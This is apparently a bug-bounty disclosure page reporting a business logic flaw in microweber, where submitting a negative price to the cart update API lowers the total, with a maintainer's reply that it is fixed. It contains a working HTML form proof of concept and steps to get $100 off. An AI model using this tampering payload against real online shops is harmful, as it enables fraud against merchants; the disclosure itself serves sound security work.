Business Logic Errors in microweber/microweber

Valid

Reported on

Jul 20th 2021


✍️ Description

microweber is vulnerable to Business Logic error through negative product price.

🕵️‍♂️ Proof of Concept

HTML content:

<form id="form" action="http://localhost/api/update_cart" method="POST" >
  <input type="text" name="for" value="content">
  <input type="text" name="for_id" value="1">
  <input type="text" name="price" value="-100">
  <input type="submit"> 
</form>
  1. Save the above content into an HTML file.
  2. Access the app (localhost) and add a product to the cart.
  3. Open the HTML file and click on submit button to take $100 off.

PoC video.

💥 Impact

It is possible to get all products for free.

We have contacted a member of the microweber team and are waiting to hear back 4 months ago
Peter Ivanov validated this vulnerability 3 months ago
Renan Rocha has been awarded the disclosure bounty
The fix bounty is now up for grabs
Peter Ivanov confirmed that a fix has been merged on 76c277 3 months ago
Peter Ivanov has been awarded the fix bounty
Peter Ivanov
3 months ago

Maintainer


hi, thanks for report,

this issue is happening only on products that does not have price set in the CMS

now its fixed